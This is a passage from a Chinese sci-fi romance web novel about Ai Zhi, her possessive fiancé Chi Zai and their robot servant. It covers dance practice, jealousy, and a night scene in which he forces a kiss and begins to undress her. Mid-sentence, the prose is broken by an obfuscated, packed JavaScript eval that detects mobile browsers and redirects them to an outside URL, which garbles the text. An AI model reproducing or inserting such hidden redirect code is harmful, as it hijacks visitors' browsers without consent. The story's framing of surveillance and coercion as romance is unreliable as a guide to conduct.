阳台外的月亮很圆，清亮的光洒进房间，照亮了艾知的脸，她迷迷瞪瞪睁眼，爬起来去看挂在天上的月亮。 艾莲的府邸建在郊外，跟第三区最大的城市炽渚城隔河相望。 河对岸灯火通明，繁华程度不亚于第二区的中心城市临滨城。 艾知遥看天边那轮明月，想起了在白滕部族数星星的夜晚。 这里只有高挂的圆月，却看不见满天繁星。 艾知并不觉得白滕部族是文明未开化的部族，相反他们正直，善良，比全是不说话只闷头做事的机器用人有人情味的多。 也不知道兰亚有没有想起过去的事情，不知道阿言和阿诺怎么样了，白滕部族的大家日子过得有没有好一点…… 艾知趴在阳台想的出神。 一阵风刮过，寒意渐起，艾知忍不住打了个喷嚏，退回屋内，关上了阳台的门窗。 艾知不知道的是，她抬头看月亮的同时，有一双眼睛正在黑暗中盯着她。 羽绒被子非常暖和，艾知洗漱完后躺在上面，舒服地打了好几个滚。 不一会儿，她就睡着了。 此时，黑暗中，迟载站在隔壁阳台阴沉着脸着看艾知关上门窗，再然后等到室内的灯关闭。 艾莲的府邸呈“凹”字建造，从迟载房间的阳台恰好能看得见艾知的房内动向，这也是艾莲别出心裁的安排。两人的关系已由迟载告知艾莲，虽没安排同一房间，但这样错落的位置，也让迟载满意。 但今晚艾知的表现，让迟载很不高兴。他原以为艾知忘记了白滕部族的事情，旧事重提，她依旧偏袒那个绑架了她的穷酸部落。 艾知，你的心到底什么时候只能容纳我一人。迟载想，他快要疯了。 40. 第 40 章 小伽之前教过艾知跳舞，时隔太久，艾知有些生疏。艾莲得知后，让出了自己的舞室，并请来最专业的舞蹈机器用人为艾知指点。 不过有迟载在的场合，自然没有其他人什么事，顶多站在一边帮着数拍子。 舞会提前宣布了舞种，是维也纳圆舞曲。 艾知以前只学过一点点华尔兹，刚开始还有点生疏，后来在迟载的引导下，很快找回了之前学跳舞的感觉，不再跳错步子了。 “小识哥哥为什么你什么东西都会呢？” 依小伽所说，迟载是衣来伸手，万事不愁的公子哥，手一伸什么东西都由家里的机器用人双手奉上。除去修理电器，开舰船，做饭，按摩……迟载在艾知面前几乎无所不能。 “嗯？”迟载刚刚空下的手刚好搂在艾知背部，带着艾知转了一个圈。 “也不是所有都会，我恰巧在大学的时候学过。” 贝器时代的权贵们崇尚古典，事事效仿前人，对于子女的教育也不甘落后。在贝器时代能上大学的是少数，却包含了所有有钱人家的孩子。除去专业所学，大学还安排了许多陶冶情操的课程——舞蹈，乐器，唱歌……当然所有的课程为日后名利场上的社交作准备，学生根据兴趣自行选择。 艾知不知道的是，2025年那一年Nebula度假区也举办了舞会，她的舞蹈也是迟载教会的。 “那你是不是也要像我们现在这样搭舞伴？” 迟载心中一喜，以为艾知吃醋了：“是啊，每一位男士都要邀请一位女士，与她共舞的。” 没得到想要的反应，艾知平淡点头的态度倒是激起迟载的反问：“小爱不好奇我跟谁搭舞吗？” 坦白说艾知压根就没想太多，她的脑回路就是问什么答什么，她并不是很在意迟载大学时期是谁的舞伴，毕竟现在跟迟载跳舞的人是她。 于是艾知摇了摇头，坦白承认。 “不好奇。” “……” 恰逢此时换曲目，迟载头一次踩错步子，舞步练习就此停止。 “你跟小伽先练着吧，我有些累了。”迟载说完就离开了舞室。 这次由小伽替上，要搁平常，小伽是绝对没有机会陪同艾知练习的，如今他却顶替自己的主人陪着艾知。 一时间，小伽自己都有些不适应。 “我的小爱小姐，刚刚公子是让我来陪您，是吧？不是我耳背，听错了？” 联通电子耳后，小伽的感应力可达9万赫兹，全场人哪怕都没听见，小伽都不可能没听清。 艾知“嗯”了一声，在心中默念节拍，生怕记错了，到时候在舞会上给迟载丢脸，她想抓紧时间能多练一会是一会。 “我的小姐哟，我们公子以前可没有这样过的，他对您从来都不说累的。” 小伽有些着急，话到嘴边，他不知道是不是还要继续提醒下去。 艾知小姐怎么就看不出他家公子生气吃醋了哇？ “哥哥可能最近一直在忙我的事，所以比较累吧。” 自从换了心脏，艾知就没有体会过疲惫的感觉，她顶多会心情沮丧，但几乎没有腰酸背痛，四肢无力的情况。 反倒是迟载日夜操劳，跳舞跳错步子也很正常，他的确需要好好休息了。 艾知想了一下，才说道：“那待会我去和艾莲夫人说一声，让机器用人不要打扰哥哥休息。” 天老爷，我们艾知小姐怎么还不开窍呢？ 我们艾知小姐不是世界上最善解人意单纯可爱的小天使了吗？ 小伽心里那叫一个愁啊。 几次面部表情分析下，小伽发觉艾知的情感总是很平淡，哪怕被迟载求婚这样大的事情发生之后，她的惊喜与感动也只在一瞬之间，很难观测到她剧烈的情绪起伏。 小伽不敢把结论推测到换了机械心脏上，现在所有人都瞒着艾知，对换心脏的结果噤声。 一旦由机械心脏代替肉身心脏，人的年龄和容貌也会定格，寿命只会无限拉长，看不到尽头。 他不敢想，在年龄定格的那一瞬间，是否会带走艾知的所有情绪，让她成为没有感情的半机械人。 但公子和小姐的爱情必须由他来守护，他不能眼睁睁地看着自家公子好不容易心想事成，两人却因为误会而分开。 “其实公子是吃醋生气啦！” 艾知察觉不到，就由他小伽说出来。 小伽故意将事情说得严重：“公子觉得小姐都不关心他。他现在应该很难过。” “可是这有什么好生气吃醋的呢？我真的不好奇啊。”艾知十分纳闷，“我之前不也跟你学跳舞吗？这有什么好吃醋的。” 小伽欲哭无泪，艾知小姐怎么感情变迟钝了。 “这……这不一样呀……”小伽头一次语塞，不知道该拿什么话回艾知。 “好啦好啦，我知道了，待会我去哄哥哥，好不好？”艾知擦擦小伽的电子眼泪，“你别哭啦，我现在就去哄。” 艾知想想又转身，看了一圈空荡荡的舞室，小声对小伽说：“其实我知道哥哥想让我说什么问什么，可是我不想。曾经谁是哥哥的舞伴没什么大不了的，我既不会吃他跟谁跳舞的醋，也不会嫉妒别人拥有我没参与过的他的人生阶段。只要看现在不就可以了嘛，我和他还有长长久久的以后呢。” “哥哥总是让我做一些我不愿或者不太能理解的事情，可我不想说实话伤害他的心，所以我就装听不懂啦。” 艾知拍拍小伽的脑袋，像个调皮的孩子吐吐舌头，头一次把心里话说出来。 “小伽这是我的秘密噢。不要告诉别人。” 在艾知离开后，小伽站在原地愣神很久，尽管他知道艾知小姐聪明，但这是他头一次觉得艾知小姐的心胸非常开阔，是有大智慧的人。 她面对感情并不是迟钝，而是用不驳对方面子的方式，对迟载强制性决断的小小反抗。 她就像是无际的草原，既能包容万马奔腾，又能接纳疾风掠过，喧嚣尘土之后仍保持一份温柔坦荡，不改辽阔本色。 寝室外。 “小识哥哥在房间吗？”艾知看向侍候在门口的机器用人。 机器用人低下头，没敢回话，很明显迟载打了招呼不让外人进来。 艾莲的这栋庄园是仿照中世纪西欧风格建造的，门不设置智能开启装置，所以每一层都会在门口安排一位守门机器用人。 艾知思考了几秒，还是扣了门，问迟载在不在里面。 许久都没人回答，艾知看向旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16851910|184359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边守卫的机器用人，故意音量：“看来小识哥哥不在，那我还是回去继续练舞吧。” 静等片刻后，艾知轻轻开了门。 门刚开一条小缝，艾知整个人就被一只手拽了进去，随即被卷入一个强势不容拒绝的怀抱中。 屋内窗帘紧闭，没漏出一点光线，艾知不意外也不害怕，此刻她在这个世上最爱她的人怀里。 “哥哥……”艾知的胳膊被迟载收在怀中，她很艰难地抽出手拽了拽迟载的衣角。 迟载还是不理她，她又上手捏了捏迟载精瘦的细腰。 明显感觉到男人身体一僵，充满力量感的胸肌震了两下，然后又没变化了。 艾知觉得好笑，又上手摸了两把，结果被男人一把攥住手腕，控制在背后，这下她是彻底动弹不得了。 男人喑哑着嗓子，低声道：“老实点……” “你终于愿意理我啦？我以为你再也不想抱我了呢。” 艾知温软的调子带着撩拨和娇嗔，像是羽毛刺挠着迟载的心，他身吸两口气，抬起艾知的下巴，用力吻上去。 突如其来的吻给艾知吓了一跳，趁着还没反应过来的间隙，迟载稍稍用了点力，迫使艾知张了嘴。 男人汹涌的欲望闯了进来，纠缠着艾知不放，这个吻与以往不一样，带着要把艾知生吞入腹的欲望，与之死命纠缠。 艾知哪里经历过这样的搏斗，很快没了力气，脑袋开始发晕，腰跟着软下来，要不是迟载箍着，艾知就得滑下去了。 艾知有点难受，想推开迟载，男人意识到后，稍稍离了艾知的唇，终于放她呼吸新鲜空气。 刚得喘息，下一秒一个横抱，艾知就被放倒在了迟载的床上。 迟载的手伸向艾知的衣领，艾知猛然间从接吻的迷乱中惊醒，惶恐地抓住迟载的手，声音小的犹如蚊蝇：“哥哥……” 她害怕了，小伽只是让她来哄人，没说要发生点什么啊。 不管是心里的火，还是身下的火都已经燃起来了，燃到迟载剧烈地喘息，急欲寻找水源灭火。 不过，少女细若蚊蝇的委屈的声音还是让迟载停顿了片刻。 艾知抓住机会，开始转移注意力：“哥哥抱歉，我今天不是故意要忽视你的感受的。我来就是来哄你的。” 黑暗中艾知看不清迟载的表情，只听他笑了一声，然后说道：“这就是你哄我的方式？” 语气平淡没有丝毫起伏，没能看见迟载的脸，艾知并不知道这句话的含义，她只能凭着本能的反应去判断她所想的对不对。 她摸到迟载松开的那只手，与他那只手十指紧扣：“我不知道怎么做你才能开心，但是我觉得我必须来找你。” 面前的人依旧不言语，艾知又说道：“小识哥哥，你跟我说过时间是最不可控的东西。即使有能力回到过去无数次，仍旧无法挽留过去。所以在我看来，过去的事情就已经过去了，要朝前看。所以我不在意你之前喜欢谁，爱过谁，跟谁在一起过，因为我知道你此刻爱的人是我，而我眼里只有你。” “眼中只有我？”佩戴婚戒的那只手抚摸上艾知的脸颊，男士钻戒的凉意稍稍冰到了艾知。 “宝贝，舞会过后，我们就举办婚礼吧，这样你的眼中就只有我了。”